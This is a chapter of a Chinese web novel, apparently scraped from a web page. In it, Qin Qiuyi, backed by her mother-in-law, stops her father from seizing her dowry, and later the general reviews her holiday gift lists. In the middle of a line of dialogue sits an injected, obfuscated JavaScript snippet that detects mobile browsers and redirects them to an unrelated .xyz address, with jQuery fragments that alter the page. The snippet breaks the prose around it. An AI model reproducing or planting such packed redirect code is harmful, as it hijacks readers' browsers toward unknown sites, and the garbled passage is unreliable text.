秦秋漪去西棠院那许多回，也不及此刻见到的人齐全。


    她们走在老夫人身后，两两并排而行，一个个神色肃然，举止严谨有度。进了屋自行分开成两列，从屋里排到廊下又排到台阶下，这阵仗颇为震撼。


    秦家三人都慌张站起身，秦冬儿更是缩在冯氏身后不敢露头。


    秦父赔着笑脸道歉，“小女年幼无知，一时口快，还望老夫人莫与她计较。”他说着又给秦秋漪使眼色。


    秦秋漪起身跟老夫人行礼，被老夫人按下，“你伤未好，不要多礼。”


    “是我不好，大热天的惊动老夫人。”


    “哪是你的过错。”老夫人拍拍她的手。见她眼泪含在眼中，怒气都化成心疼了。


    转而对秦父道，“秦老爷为何厚此薄彼呢？都是你的女儿，即便做不到一碗水端平，如何能偏心成这般令人寒心的地步？”


    秦父眸光闪了闪。


    又听她道：“我赵府确实没有一手遮天的本事，但你积压的药材可是我儿帮你处理掉的，何以出口伤人？”


    秦父红了脸，道：“冬儿和她姐姐起了争执才一时口快，不是有心的。我这就让她磕头赔礼道歉。”


    他把秦冬儿从冯氏身后拉出来，秦冬儿却不肯跪，她可是要嫁去章家的。


    想起这个，秦冬儿胆气足了。这破院子里站满了下人又怎么样，她们敢动她一根指头，就让章公子把她们通通抓起来！


    “罢了，我老婆子受不得秦二姑娘的大礼，来人送客。”


    嫁妆还没要到，他们怎么甘心空手而归。


    秦父冷下脸，“秋丫头，我费尽心思让你风风光光嫁了个好人家，如今你妹妹终于也觅得良人了，你一点不顾念姐妹之情？”


    老夫人皱起了眉，秦孝生毕竟是秦秋漪的父亲，他用孝道压着，她也不好多说什么。


    对上老夫人担忧的目光，秦秋漪轻轻笑着摇了下头。


    她缓缓放下茶盏，发髻里的金步摇随着她的动作轻轻晃动，她望着秦父的眼神无比沉静。


    “我嫁妆中的铺子是我母亲当年的陪嫁，其他的是族中一笔一笔凑来的。如今你们要我交出来，我是否也该问一问五叔公和族老们的意思？”


    秦父道：“那就请族老来。”


    他早就跟族中通过气了，五叔公也赞成先挪用秦秋漪的嫁妆，把秦家的门面撑起来再还她。但今儿见她被老夫人捏在手里，任由老夫人当着这么多人羞辱他，如此不中用，哪能再还她。


    秦秋漪低头喝一口茶，眼睫垂下，神色都被盖住。


    ……


    五叔公和族老被请来，进了二门又见外头守着许多护卫，胆战心惊汗流浃背。


    到了秀澜院，廊下冰盆里的寒气扑来，热汗都化作了冷汗。人老成精，看这赵府的阵仗都知秦秋漪的嫁妆今日是带不走的，只能从长计议。


    五叔公对秦秋漪道：“秋丫头，我们借一步说话可好？”


    秦秋漪对老夫人轻点下头，便扶着萍儿的手与他走到院外，在枝繁叶茂的银杏树下停下。


    五叔公先是掏出一张银票，“你病了的事，我们先前不知晓，这个钱你拿着，是族里的一点心意。”


    “五叔公和族人的好意我心领了，这钱却不能收，妹妹要嫁人正是缺钱的时候。”


    “秋丫头，这是连我们也怪罪上了。”五叔公笑了笑。


    他笑时，脸皮便如老树皮一般皱起，脸上笑得灿烂，眼里却没什么温度。


    秦秋漪微抬眼，萍儿上前收下。


    五叔公面上僵了一僵，忽而意识到她再不是那个被关在破院子里，无人管无人问的小丫头，而是高门大户的夫人，是他这样的商户见了面要行礼问安的诰命夫人。


    这个认知一升起，肚子里想好的说辞就说不出来了。


    他不说，秦秋漪倒有话要说。


    她扶了一下发髻里的金步摇，道：“拿出嫁妆为妹妹撑门面这事，但凡父亲能悄悄跟我说，我绝无二话。可是他们口出恶言惹恼了老夫人，当着府里这么多人，我这个做赵家儿媳的，岂能违逆老夫人？”


    “我知晓，这事不怪你，是孝生鲁莽了。”五叔公说。


    “我也知五叔公和族人都是明事理的，有一事须得告诉五叔公。”


    “何事，秋丫头你只管说，我和族人为你做主。”


    “商户挣的是钱财，折损的顶多是一家之得失。倘若卷入朝堂争斗，三族九亲血流成河……”


    五叔公心中一凛。


    想到来时看到的赵家护卫，个个凶神恶煞，手里的拐杖开始晃动。


    “今日这事，你父亲是受了章家的挑拨，你在老夫人面前可要为族里好生解释一番。”


    “五叔公放心，老夫人是明白人。”


    秦家三人张望着，五叔公拄着拐杖走进来却绝口不提嫁妆，他跟几个族老轻声耳语两句，就向老夫人告辞，三人这都急了。


    秦父说：“五叔，莫忘了正事。”


    五叔公瞪他一眼，“你不要命了，大可现在就把秋丫头的嫁妆搬走，莫拖累我们。”


    族老也都小声劝，“一个姑娘的嫁妆，族人还凑得起。”


    “是啊，赵家再落魄，也不是我们商户能惹的。”


    族中人并非都同意挪用秦秋漪的嫁妆，能攀上章家固然好，但和赵家处好了也不是坏事嘛。


    秦父眼看他们不支持，只得作罢，他眼睛转一转，“那回头冬儿的嫁妆，还要请五叔公和族老们帮忙凑一凑。”


    几人听了这话脸色都有点不好，他家秋丫头出嫁已经搭进去许多，再出第二回都不大乐意，更何况秦冬儿是去做妾。


    这些内里的事不能在赵府上掰扯，五叔公等人为了安抚秦父，便都点了头。


    秦父这才换了一幅和气模样，拱手作揖告辞。


    冯氏和秦冬儿虽没能掏出秦秋漪的嫁妆，但是得了族里的支持，也就先放过秦秋漪。


    “慢着。”


    本已转身走到门口的几人，被秦秋漪叫停。


    他们不明所以回身望着她，老夫人也放下茶盏望着她。


    秦秋漪神色淡淡，“父亲，还不曾向老夫人赔礼呢。”


    秦父站在门外，廊下的冰盆阵阵寒气袭来，他又有那种感觉。


    这个女儿不只跟他不亲，骨子里还瞧不起他。


    五叔公皱着眉敲了下拐杖。


    秦父回了神，垂眸带着冯氏和秦冬儿向着老夫人行大礼。


    枇杷树里，筑巢的鸟儿唧唧喳喳，扑腾起翅膀掠过秦家众人的头顶。


    热闹了好半天的院子，终于安静下来。


    老夫人问：“方才怎敢压着你父亲赔礼？”


    “因为娘是这世上对我最好的人，任何人都不得伤害你，只言片语也不行。”


    她向来温软，这会儿掷地有声，认真蹙着眉的样子当真讨人喜爱，老夫人又笑问：“若是太后斥责呢？”


    “太后若讲理，我便与她讲理，她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869522|159540||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    若不讲理，我替娘受着。我从小听得闲言碎语甚多，都是左耳进右耳出。”


    她笑着，眉眼里都是明媚的笑意，一声声“娘”喊到她心坎里。


    老夫人心中微微发热，“你是个好孩子，我没看错你。”


    她神色动容，周嬷嬷见状，道：“老夫人到晌午了，可要叫小丫头们摆膳？”


    “去罢。”


    周嬷嬷带人去张罗，心底松口气。


    今日闹这一出，老夫人若是厌弃了夫人，她们这些刚调来秀澜院的也要跟着遭殃。


    还好，夫人看着温软，但嘴甜。最后压着秦家人赔礼更是保住了老夫人和府里的颜面，不然传出去一个商户也敢在赵家闹事，京中勋贵要笑掉大牙。


    赵北平和赵南安都不在府中，这顿饭只秦秋漪和老夫人两个人用。虽饭桌上没有言语，却又满是温情。


    走时嘱咐道：“日后再遇上这事，不可独自承受，就算我和老大不在府上，满府的人你尽可使唤，万不能让自己受了委屈。”


    秦秋漪含泪点头。


    她站在门口，目送老夫人离去，夏日热风扑了她一身，温温热热的很是舒服。


    ……


    傍晚，秦秋漪坐在山茶树下埋首写礼单。忽听得吱吱呀呀的响声，抬头看去。


    傍晚的风不炎热，徐徐推动天上的云朵，在西边汇聚成灿烂的晚霞。金色的余晖映照院墙上，流光溢彩的月洞门仿佛连接了两个世界，一半在明，一半在暗。


    赵北平从月洞门过，身上也染了金色的光芒，冷硬的面庞似更锋利了些。


    “在写什么？”


    “礼单。”秦秋漪将账本上那些人做了分类，成家的未成家，有无子女，家中可有读书的孩童，有无年迈要赡养的老人，分过类再根据四时节日写礼单。


    “这里。”


    赵北平的手指点在一处。


    秦秋漪绕过石桌，走到他身旁，弯腰看去。这是一份中秋节的礼单，螃蟹是常见时令食物。


    “可是有忌口。”


    赵北平点一下头，然后又指了一处。


    那行字在下方，他手指又遮住了大半，秦秋漪须得再弯下腰凑近了去看。看了两眼，也没看出笔墨纸砚有什么问题。


    便道：“请将军明示。”


    “这是个姑娘。”赵北平说。


    “姑娘不可读书识字吗？”


    赵北平眼睫微动，“可以。”


    她身上的暖香游走，呼吸间都是她的香气。后面的单子看过去，再无问题。


    等他翻完最后一本，秦秋漪也缓缓起了身，她说：“今日秦家闹事，我连累了府里。”


    “你无事便好，只下回不可如此宽容。”


    他冷戾的目光扫过春杏等人。


    几人噤若寒蝉，树梢上的鸟儿都不敢发出声响，满院子寂静。


    秦秋漪心知她们今日表现已算很好了，便轻轻拉一下赵北平搭在扶手上的袖子。


    他抬眸，目光从她白皙的手指缓缓向上，对上她那双水润的眸子。


    不自觉又移向嫣红的花瓣似的唇，她什么也没说，只轻轻抿一下，傍晚的风似又热了起来，树梢上的鸟儿更是叽叽喳喳叫的人心神不稳。


    他偏过头，“这几日身子可好些？”


    “好了许多。”秦秋漪挥挥手，春杏几个就赶忙退下。她在石凳上坐下，礼单拨到一边，熟练地提起袖子。


    赵北平闭上眼睛，手指按在她柔软的手腕上。